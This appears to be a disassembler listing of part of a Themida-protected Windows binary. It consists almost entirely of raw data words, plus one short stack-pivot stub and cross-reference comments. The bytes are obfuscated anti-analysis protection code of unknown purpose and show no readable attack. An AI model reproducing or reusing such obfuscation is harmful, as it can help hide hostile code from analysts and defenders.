dd 50006AE1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 0CBB8403Eh, 0F295E1ACh, 8E948h, 84E70000h
dd 0B1AB373Ch, 0BD83E1EFh, 5E21B55h, 0AD840F00h, 6A000004h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 8044C353h, 0F2C2CE9h, 280h, 834BB700h, 0E21B55BDh
dd 840F0105h, 493h, 0FBB70F51h, 0FABF0F5Fh, 1B55BD83h
dd 0F0305E2h, 44886h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 852AF1Bh, 0BCFB43A9h
dd 10719589h, 8B6005E2h, 0E219B9BDh, 0D98C6605h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0EFC35141h, 66EB35DFh
dd 8969E5BBh, 0E21EB985h, 4E18005h, 2155BD23h, 0C90A05E2h
dd 119840Fh, 0BD8B0000h, 5E21111h, 241D858Bh, 6A05E2h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 2009E5C3h, 664F58A1h, 0B56ED381h, 8533A9B7h, 5E22AA9h
dd 50DBD89h, 13E805E2h, 84000000h, 0BF1954B5h, 496875CBh
dd 7FAFBE46h, 0C69E7368h, 905FF1A4h, 11E8h, 8870F300h
dd 0B3D5C9E6h, 94F932D2h, 0A780A2C4h, 8E98222h, 0BA000000h
dd 27CD26CBh, 5B1DA3F8h, 905F5650h, 0FBB70F52h, 0F006A5Fh
dd 668D8BFh, 0BB2AD20Fh, 4009C0B0h, 0F9243481h, 6A2ACD0Ch
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 9AFBC350h, 921F1C00h, 0A8E78166h, 3995FF60h
dd 8B05E208h, 0E207B99Dh, 9D858905h, 6A05E5BBh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 6A78C353h, 0B2F5DA11h, 0E904AC40h, 0Dh, 0D993365Eh
dd 0ADB63307h, 0B554412Bh, 299D8BA4h, 0E905E217h, 262h
dd 8B8CF780h, 0E5BB9585h, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8529F8AAh
dd 5E2069Dh, 0EBD8D29h, 0C705E2h, 18h, 0CBEF8166h, 99B58B61h
dd 6A05E5BBh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 378FC353h, 0A05F5204h, 0B5316069h
dd 5E224D1h, 1F91BD8Bh, 8B6105E2h, 0E200F985h, 55006A05h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 409D3A43h, 89FD8A21h, 0FE906h, 0B3600000h, 1730190Fh
dd 0FAB2D70Bh, 8843089Ch, 1D858B43h, 6A05E224h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 8E81C356h, 75858902h, 8905E201h, 0E216F585h, 4468905h
dd 8E850h, 0C2E60000h, 550F28Dh, 0DE8B4094h, 2434895Bh
dd 6820Fh, 95090000h, 5E208A5h, 0BB95B5FFh, 6A05E5h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 66230AC3h, 60F9E7BFh, 4870Fh, 0BB660000h, 8166CFFFh
dd 61EE83C6h, 4E8h, 1F03FF00h, 7E900h, 25E20000h, 0E81835FAh
dd 0E8605025h, 0Ch, 467290D1h, 70A98751h, 66C5D82Eh, 0AE8h
dd 1F61F800h, 0EA416981h, 5E2A278Fh, 448B6159h, 0FE90424h
dd 46000000h, 6AFBC1A9h, 0D4A3E132h, 8A58629h, 8B9DF2h
dd 0C1BB5256h, 5B23C3FBh, 2444895Fh, 0BA605204h, 89514E2h
dd 5B615B51h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 394AB55Ah, 0DD9D8BEAh, 8D05E204h
dd 0E5BB9D85h, 899D8B05h, 5005E20Ah, 344626BFh, 24048920h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F5C35242h
dd 0BD8B48FCh, 5E20E95h, 0DE8h, 0C05AE300h, 0DE9CB096h
dd 7D86B150h, 8B66CD88h, 95FF5BDFh, 5E20839h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 80C35747h, 43F6AA6h
dd 17840F1Ah, 0E9000000h, 12h, 0D6586284h, 7016EEE0h, 25CB0F75h
dd 0EA8CB289h, 5661A72Ch, 5585C75Bh, 305E21Bh, 0F000000h
dd 1681h, 11E900h, 0BEBA0000h, 0D564D33Bh, 19A82460h, 0A37D43ABh
dd 83AD9490h, 0E5BB9DBDh, 840F0005h, 2Dh, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 17h, 0B3C35646h, 235AFEB2h
dd 0E210959Dh, 1EE905h, 0BF0F0000h, 0C3050FEh, 11440011h
dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h
dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h
dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
dd 83110430h, 0E77504E9h, 0C08B00EBh, 16C1BD8Bh, 6A05E2h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 0C3C8A2C3h, 7EC2D139h, 177DB501h, 0BD8305E2h, 5E21B55h
dd 0B7850F03h, 8B000004h, 0E2004D9Dh, 835F5605h, 0E5BB9DBDh
dd 840F0005h, 4A2h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 0FFC35141h, 0C89AB39Dh, 0B7C5A0ABh, 9DB5FFA3h
dd 6A05E5BBh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 294C351h, 0CA961A2Eh, 0FFDAB70Fh
dd 0E2172D95h, 3DBD8B05h, 8B05E209h, 0E5BB91B5h, 57006A05h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 30C15CDAh, 106C7EFh, 6A000100h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 60D6C353h
dd 0D6403CDFh, 8B53D318h, 0E215519Dh, 2840F05h, 8B000000h
dd 10E950FBh, 6A000000h, 6BAA8282h, 0A96FE0DDh, 83AE4A8h
dd 891CF201h, 8E82434h, 0F2000000h, 7B860776h, 0E9068FE3h
dd 0Ah, 0CAA36F3Ah, 0BDB822F5h, 0FF5B5D73h, 0E5BB9DB5h
dd 8B666005h, 0BE9D7h, 0A97F0000h, 0F9AD2C18h, 1CEF6DDh
dd 95FF6178h, 5E22BD1h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 0D0C35141h, 2BFDDBBFh, 91B58B18h, 6A05E5BBh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 6FAEC350h, 0E1BD2B57h, 8B05E208h, 0E210DD85h
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 4F5E135Bh, 0CCFA82B2h, 25BD2955h, 6605E226h
dd 89A85ABBh, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 0DFB5917Dh, 8BFA8B66h
dd 0E232E9BDh, 0E9958B05h, 6A05E20Bh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0DB09C357h
dd 0E1BD8BC1h, 8305E200h, 816604C2h, 89F328DBh, 89572050h
dd 0E22C2D95h, 5E95F05h, 4C000000h, 3EEE9859h, 0CE5B858Dh
dd 6A05E5h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 8B60A4C3h, 95958BFAh, 6105E20Dh, 0B88689h
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 8B669CC3h, 0EE8F9h, 0FDB10000h, 30B62CEBh
dd 786264CAh, 2BC98462h, 1FA9BD8Bh, 6A5F05E2h, 999D0B00h
dd 0FF05E216h, 0E5BB9DB5h, 7E905h, 4A970000h, 16907503h
dd 0E995FF32h, 6A05E214h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0C02FC357h, 0D47A2355h
dd 79BD8B66h, 9605E21Eh, 0CE8h, 0C76BE400h, 34C53638h
dd 3E4396E5h, 8E933h, 592E0000h, 5C4A969Ah, 505F0FD1h
dd 0FE9h, 0D1FA3900h, 0A3B3D41Dh, 0B14738AEh, 99767F3h
dd 79858996h, 0FF05E206h, 0E5BB9DB5h, 55006A05h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0F3FC06CCh, 0FE9h, 95DB3D00h, 52323534h, 0E9B15D2Dh
dd 8AB24763h, 2D2195FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 22F12DC3h, 1A7ED09Ch
dd 0C8A0Fh, 66600000h, 0F02E8BFh, 86h, 0BD836100h, 5E20089h
dd 5E840F00h, 89000000h, 0E21051BDh, 0E19D0305h, 9605E21Ch
dd 0DE8h, 55B60B00h, 351FF5F9h, 9915E92Bh, 525060C8h, 840F310Fh
dd 0
dd 505F585Ah, 96F88B66h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 87C35040h, 8D6F07Fh, 0CD8531CDh, 8105E215h
dd 9AD19CF3h, 9DB5FF3Eh, 8B05E5BBh, 0E2011D9Dh, 1595FF05h
dd 8105E204h, 2B1E54EBh, 9DB5FF12h, 0FF05E5BBh, 0E20A5995h
dd 0B6D4BB05h, 0BD831E92h, 5E224CDh, 5E840F02h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 8B11C352h, 0E20C3DBDh, 818D0905h, 8B05E21Bh
dd 0E21F3585h, 0BDB1BB05h, 0C64A0Ah, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 9549894Ah
dd 9D89610Ah, 5E221A1h, 0F985C7F8h, 5E20Ch, 81000000h
dd 69D024D7h, 95896015h, 5E22CB1h, 9E8h, 91FE2B00h, 423CC1B0h
dd 11E9CD2Dh, 2000000h, 0AE6C9B56h, 88982313h, 1066BF1Eh
dd 150BED0Eh, 43E9615Eh, 89FFFFF1h, 0E20AF595h, 95BD8905h
dd 8B05E214h, 598529C1h, 3105E21Ch, 0E21039B5h, 0ED04EB05h
dd 0E917E22Bh, 57Eh, 0D890DCBh, 0D6FCB83Ch, 0BF5B6793h
dd 18D0BCAh, 0E9F5BB20h, 0F1EAB352h, 974227A3h, 3EBC8D09h
dd 0E4155472h, 0CD3438A6h, 0FE0FEB6Ch, 0B37B3AF9h, 165039AEh
dd 0B2949DD3h, 0A0678434h, 8526939Ch, 68951DDAh, 829DA586h
dd 7BB04AC7h, 2F7EAB20h, 6D6937A4h, 4EDDDB1Ch, 0B1D4D207h
dd 0BBC2C60Eh, 79C5B1FBh, 44073A80h, 44F11490h, 18C2A763h
dd 28D29594h, 0F3D40164h, 0E4A85217h, 159B5E81h, 562E28F6h
dd 20AEF2E8h, 8B129841h, 182F90AEh, 675F89FCh, 595F98DBh
dd 0A927FA80h, 0C7863A04h, 75E64315h, 0ACFC1823h, 0CA039AD7h
dd 578CF1h, 6EB60000h, 59D82369h, 40DBE116h, 0D669B20Bh
dd 0CDFC18B9h, 0A964AB9Bh, 43A0413h, 0BF089645h, 0B72h
dd 0EB4CCF00h, 0FC18B56Ah, 0FFBCCBBh, 0DB22666Eh, 0CD585C98h
dd 36555382h, 0CC3A0A4Ch, 70E14608h, 0A1FC18B9h, 0F0719DCAh
dd 0CD659E67h, 4992B3F5h, 0CFCBD106h, 276D6E01h, 5D599DC4h
dd 4232B4CEh, 1DB907F4h, 6C2AADECh, 440BDC19h, 4FF61593h
dd 5CE4078Bh, 3AE72A1Ah, 913A0411h, 84h, 276D6ED5h, 515D9DC4h
dd 484E8BCAh, 4448B23Dh, 5B2B8D21h, 4F2761E5h, 0D968FAE3h
dd 1710AA59h, 155472AFh, 6725D0E8h, 0E79AD704h, 167533A4h
dd 5602EAFh, 3B429BD0h, 48F0EF78h, 13BFB019h, 1956FC18h
dd 0EA096570h, 21676ED1h, 483CBADAh, 4391CC1h, 4DB33Ah
dd 9B0C0000h, 1EE1BB7Ah, 4E3C8D01h, 0C4276D6Eh, 0C8535F9Dh
dd 0E08E66E0h, 27106877h, 0AA33E980h, 626836A7h, 53599CDFh
dd 4C3A83C8h, 0DB22666Eh, 18B9C07Eh, 0BB09F0FCh, 0B4FAE160h
dd 0FACA8C51h, 8FC6A86h, 4134C81h, 1E33Ah, 6EC70000h, 0E3A92C6Ah
dd 63E65398h, 315656F6h, 20B91532h, 9F1DDA05h, 8A18C50Ch
dd 8705F073h, 0E2D29464h, 32024C9Eh, 568214C4h, 0D9169A40h
dd 36DC0942h, 35341805h, 0FAC39294h, 32971601h, 0F9FA9B01h
dd 779647D0h, 8709F095h, 5E15714Ah, 4E0FA82Bh, 5CF9FA90h
dd 428B129Eh, 5304A5C4h, 82F9FA90h, 21DF78B5h, 4BBC3EA9h
dd 0D81B22BBh, 0CC7D991Fh, 9D1EC65Bh, 0BB77A0ECh, 0A183942Bh
dd 119740B3h, 0B314418Ah, 0DA4D4B8Ch, 0A556629Bh, 125BA21Fh
dd 0AAC5A2C9h, 0F1F9FAD7h, 0C6337F77h, 24A7DAC0h, 0FAD7D283h
dd 233403F9h, 741B7254h, 0AB9637DEh, 0D21D682Eh, 0EE046725h
dd 0CD0A784Ch, 8845C3CFh, 273FE616h, 178h, 577B181Bh, 0F4A747D0h
dd 0D3932884h, 8504870Ah, 18F73324h, 3495E2FCh, 0FA9197EBh
dd 9E81FE01h, 5DD3EA09h, 7F48D6CBh, 2E6C6DD4h, 5818C1A0h
dd 0CDB56ECFh, 0CA9383F4h, 0F9FA2689h, 57B6E358h, 5EADEBECh
dd 96D44524h, 0E207BD2Ah, 72890FC6h, 8C8B8CF9h, 3826B3D0h
dd 562E28B1h, 3AA3EFE8h, 6FA41174h, 0BCE82563h, 55473FE6h
dd 7B000000h, 0D2557918h, 18B91475h, 4D2A4DFCh, 0EAA83214h
dd 0C6A3FA37h, 0FC18FE95h, 0A633B2F5h, 0B2BCFAAFh, 231435D3h
dd 0F2FC18F7h, 4A3A2485h, 0A0A7878Ah, 18F78607h, 8E4A3FFCh
dd 572FB02h, 0D7974302h, 0A38433C7h, 801B5027h, 0D9E7144Bh
dd 0B5C71A00h, 0FF000000h, 0A0EEEFAEh, 7212E07h, 0EB9ECBCFh
dd 0F40E968h, 0C6FC18B9h, 2D9DE069h, 3E4675DEh, 93244ADh
dd 96ED01FAh, 8D0BCC77h, 9220DB9Ah, 0B8E6E7F9h, 0D3F41177h
dd 7857237h, 0FAFABDE4h, 6DEE6FBEh, 66C2A939h, 6BB4155Ch
dd 0F9FA2DD1h, 9EECD88Eh, 854E8F59h, 0E7AE9CEDh, 5A43BCA4h
dd 9BD00DFEh, 6A38A5E4h, 501DA13h, 6619CD52h, 1D9C08C1h
dd 3B423904h, 1F50F978h, 36F7D113h, 0F8E16079h, 28F6BB2h
dd 46891683h, 780787C6h, 0D1556EEFh, 0FFC8A7F7h, 0D8457F77h
dd 6F372028h, 2491FBAEh, 8623A225h, 0F7D18ED5h, 4D96370Ch
dd 0A365894h, 12D8C6BDh, 0D0577B18h, 0FF6F5E77h, 0AE7BEC01h
dd 9A64F5F2h, 0C7BCEAF3h, 0F4BC3DA4h, 0EA63BA06h, 0FCB8ABDh
dd 3F2F7883h, 0FED33CE8h, 83245B90h, 0F9FE8DD2h, 0F7933403h
dd 0C04745B2h, 8D77F841h, 0D1AEF9FEh, 0C2046D08h, 650BFB64h
dd 0F2E75323h, 0D89B2EB4h, 74A9321h, 0D255D4D2h, 0C05B6793h
dd 7281B28Bh, 1B50EBF2h, 0BD38BBC2h, 0B425ACFFh, 0A92C97F6h
dd 333B98E3h, 63EDFD43h, 0F4B22793h, 845E9BEEh, 508F23A8h
dd 0FAC03989h, 80FD2AA3h, 5F1BDE81h, 0F21379FAh, 66D3A8EBh
dd 6EF5D607h, 307h, 9DA73F00h, 0D92C686Eh, 0C05B6196h
dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
dd 769519C1h, 788307CFh, 0E68956F2h, 4C681h, 0BD550000h
dd 4, 875DEE29h, 685C2434h, 7B03h, 56241489h, 0C681E689h
dd 4, 8704EE83h, 895C2434h, 0BB53242Ch, 28FB3907h, 0A42145BAh
dd 5BDA0136h, 514FE281h, 0C2817D3Fh, 6D611BEh, 0AB65EA81h
dd 8B545E0Eh, 0C483242Ch, 69B26804h, 14890000h, 24348124h
dd 17BF5553h, 8108458Fh, 55530875h, 34FF17BFh, 0C4815D24h
dd 4
db 8Bh, 14h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
db 0F2h
dd 8AB80626h, 305E6BBh, 0B7E0FFC5h, 0C65D6B00h, 0B33F2338h
dd 15550F78h, 2B693467h, 935EA73h, 3E4703D3h, 0B922BD8Ah
dd 0F7595F8Ah, 34704D33h, 2F5BBA8Ah, 0A467777Ah, 0C859C8C2h
dd 512C96Dh, 0DC540894h, 0A45D48F4h, 270BF9E9h, 291FAD82h
dd 872EEB67h, 8D112D93h, 0E20E9185h, 68F0F05h, 8B000000h
dd 0E21FC19Dh, 4895005h, 0F6F78124h, 0F49A998h, 6AFAB7h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 7FC35646h
dd 3EEB702h, 0C88842B9h, 5BF55389h, 2FBF006Ah, 8B5D5299h
dd 0E2302D9Dh, 0FA858D05h, 5005E6BDh, 23E99589h, 315B05E2h
dd 0E21FE59Dh, 5C08305h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 0F4C35040h, 0ABA2F1ADh, 53FB3832h, 299D8B17h
dd 9005E231h, 66505B57h, 901EBEBFh, 6AFE8B66h, 0E8FABF00h
dd 6A7FA4h, 0BE9ABF66h, 1E2D95FFh, 0BD8B05E2h, 5E221A9h
dd 9D808D8Dh, 6A05E5h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 193EE9C3h, 665776F1h, 7588E781h
dd 8E95Bh, 9CB0000h, 2C8C9C9Eh, 0D1FFCB61h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 28C35646h, 0B9BD83FEh
dd 105E200h, 5F850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 8B66B3C3h, 90026AFBh
dd 0BE95160h, 2E000000h, 0CC7C72B6h, 0C59408B7h, 0B55AD5FAh
dd 8B50611Dh, 8C0F90DAh, 11h, 8E8h
db 0
byte_539A99 db 7Fh, 8Ch, 1 ; DATA XREF: Themida_:004EE1FCo
dd 7C3E828Eh, 74E78098h, 0E995FF5Fh, 8905E214h, 0E2139195h
db 5
byte_539AB1 db 0E9h, 0FBh, 0Dh ; DATA XREF: Themida_:004EFC9Co
dd 0E80000h, 5D000000h, 0BE04ED81h, 0DE905E6h, 0CB000000h
dd 78AEE30Ch, 162E065Eh, 8DAF1CB0h, 8E9E858Dh, 6A05E5h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 0A93604C3h, 12E951h, 0EEF60000h, 0DF88DF4Ch, 12969294h
dd 36DF1AA1h, 2CA5E262h, 8B605090h, 0DF8B66C8h, 66505F61h
dd 902B17BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 0BDC35242h, 53DABFA2h, 675D33C4h, 0C624BF51h, 11E91B74h
dd 89000000h, 0BBD94FCBh, 9ECAC265h, 4109241Fh, 0E185A48Ah
dd 35FF64h, 23000000h, 0E214499Dh, 25896405h, 0
dd 232985FFh, 10E805E2h
db 3 dup(0)
byte_539B7F db 0E1h ; DATA XREF: Themida_:004F0D28o
dd 42B7365Ah, 66E4C4A6h, 57C7203Fh, 8A701B40h, 0FF6A5BFDh
dd 1D6D8589h, 0B5FF05E2h, 5E221FDh, 32FDBD8Bh, 95FF05E2h
dd 5E2189Dh, 0F1E9h, 0D3816600h, 0B0DD8Ch, 0BF70E6F9h
dd 66A4CDD1h, 0D38071E4h, 0F613C60h, 0D583h, 8A0F5300h
dd 6, 0D199D8Bh, 0F5B05E2h, 8D29C8B6h, 5E20F95h, 6BAh
dd 0EF816600h, 0C18B04EFh, 0CE9h, 659D1100h, 0D8500FF4h
dd 0BF8D1147h, 4E8C1DFh, 8880Fh, 810F0000h, 2, 0F7665B53h
dd 5E9E2h, 0D8EA0000h, 2B6C6C81h, 0BD8B60C8h, 5E22421h
dd 9DF18166h, 0D18B61B3h, 31059589h, 0E905E2h, 8B000000h
dd 0E2140985h, 0CE905h, 8ED70000h, 0F1FD2738h, 0A50B192h
dd 0C083F6DEh, 0C8C78107h, 83671B26h, 3BF900C0h, 0B830FD0h
dd 89000000h, 0E215A1B5h, 30E905h, 8D8B0000h, 5E21555h
dd 0F01E183h, 2184h, 0B9BD8900h, 8305E20Fh, 0E21555A5h
dd 0BD33FE05h, 5E20D6Dh, 14099589h, 8B6605E2h, 0E9DFh
dd 0B58D0000h, 5E62785h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 17C35040h, 0F93F79DEh, 9D89006Ah, 5E23071h
dd 0AB995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 0B81B08C3h, 0D057171Ch, 950952E3h
dd 5E20B65h, 8C6B9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 0DF81F65Bh, 1DFDD9ADh
dd 22898589h, 9D8B05E2h, 5E21DC1h, 6AFCE183h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 0E843C350h, 0BCDC2A6h, 820FFC35h, 6, 8119D0Bh, 0B805E2h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 716AC350h, 4733C637h, 0B5896042h
dd 5E21781h, 0BA61h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0C2A847C3h, 0F26093AFh
dd 89B1BCA5h, 0E21D41BDh, 85BF6605h, 0C233AD9Fh, 0D003E8D1h
dd 7504E983h, 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 6C31E97Fh, 0AE9FCh, 0D7260000h, 0C23DCB67h
dd 0D0D137B2h, 8B663BB7h, 880DFEh, 0BD8B0000h, 5E20A51h
dd 0BE9958Bh, 12E905E2h, 2A000000h, 0E1A6190Dh, 16AF1F4Fh
dd 0C39EE607h, 0F444D837h, 618D8B0Ch, 0E905E207h, 0Ch
dd 0A6911C32h, 0F8C69AE9h, 1E3A2AF8h, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 25BC19C3h, 0E3816654h
dd 81661CCAh, 837104EBh, 0E20D79BDh, 840F0005h, 5Bh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 9EC35545h, 0CD4D867h
dd 0B8E03Ah, 0F000000h, 8D8DFFB7h, 5E24C42h, 0FF5EB7F5h
dd 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0D0E24F8Eh, 4D9D8BC4h, 8305E209h, 0E21B55BDh
dd 840F0005h, 4A9h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 0BAC35141h, 506430B0h, 0F87EBE87h, 7E8h
dd 0B9A71D00h, 2587E1Eh, 0E9F38166h, 0BD835F0Ch, 5E21B55h
dd 81840F01h, 6A000004h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 4349C351h, 7BF963DBh
dd 1B55BD83h, 0F0305E2h, 41D86h, 75BB6600h, 8D096065h
dd 5E2003Dh, 51D98C66h, 299D8B57h, 5B05E231h, 4E1805Fh
dd 171D9D8Bh, 0C90A05E2h, 16D840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 294E5CC3h
dd 0E23315B5h, 1D858B05h, 6A05E224h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 5097C353h
dd 35FFBB70h, 8533749Fh, 5E22AA9h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 9C35545h, 4F8EC480h, 0EE8E2h
dd 0C0560000h, 894E0F32h, 0D57CA95h, 97312284h, 0BF5BDA8Bh
dd 36AB8A40h, 0FB8B6690h, 2840F50h, 8B000000h, 6A90F9h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0E30EEEC3h, 0CC04DF81h, 0BE86093h, 3B000000h, 0E9AC939Bh
dd 0C2AB1250h, 8E0F0B60h, 6, 0BC1BD29h, 6A5B05E2h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0EA613DF8h, 0A636EBAFh, 18819529h, 858905E2h, 5E21DEDh
dd 4E8h, 1F03FF00h, 5E85000h, 48000000h, 9687386Eh, 24448B5Bh
dd 50BB6604h, 0F008BDAh, 284h, 89FA8B00h, 58042444h, 1F61BD8Bh
dd 29BB05E2h, 0FF726507h, 0E2083995h, 7D9D0105h, 8905E207h
dd 0E5BB9D85h, 38D0F05h, 0F000000h, 0FCE9DBBFh, 53000001h
dd 0EB9BD8Bh, 8B5F05E2h, 0E5BB9585h, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0CFF9CFEDh
dd 52CB80D5h, 308DB529h, 0C705E2h, 18h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 16h, 0FBC35040h, 0B5290C93h
dd 5E21775h, 0BB99B58Bh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 375724C3h, 0BFC54C5Ch
dd 5B33E927h, 0F9858Bh, 6A05E2h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 2C067CC3h, 91817703h
dd 6A0689h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 77FDA5C3h, 4E005C4Bh, 8B018F74h, 0E2241D85h
dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 469EF312h, 899D8BF5h, 8905E215h, 9E90446h
dd 4000000h, 8C0252D9h, 0B0C6A2DAh, 0AE950h, 0A1A70000h
dd 0BA526115h, 0A2F7A24h, 0E9243489h, 0Dh, 0E0DA5A7Dh
dd 0FC9EE942h, 0E83084ABh, 95B5FF0Dh, 6A05E5BBh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 0B1F5C350h, 98E9C431h, 6C2BED68h, 81FDB397h, 0D8122404h
dd 6A68B2h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 8EB9B7C3h, 8DFBD76Ah, 0E5BB9D85h, 0FAB70F05h
dd 89FE8B50h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 64E62C3h, 79C0E39Eh, 8D297F39h
dd 5E2010Dh, 83995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0CB6F12C3h, 0E7E38060h
dd 145D8589h, 616105E2h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 75C35646h, 8E97Eh, 0BAB40000h, 99E95736h
dd 0BD895934h, 5E222C9h, 1B5585C7h, 305E2h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0A6A076C3h, 0A58CE38Ah, 9DBD8396h, 5E5BBh, 28840Fh
dd 9D8B0000h, 5E21E4Dh, 38E9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 3050130Bh, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 0B5BD8BC0h, 8305E20Bh, 0E21B55BDh
dd 850F0305h, 474h, 83EDDF80h, 0E5BB9DBDh, 840F0005h, 464h
dd 0FF5FF557h, 0E5BB9DB5h, 95FFF505h, 5E2172Dh, 2C09BD8Bh
dd 0B58B05E2h, 5E5BB91h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 71C35646h, 0C7B8D9FAh, 1000106h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 0C0CFBE66h, 2850Fh, 9DB30000h, 0D46EBB50h, 34893AA7h
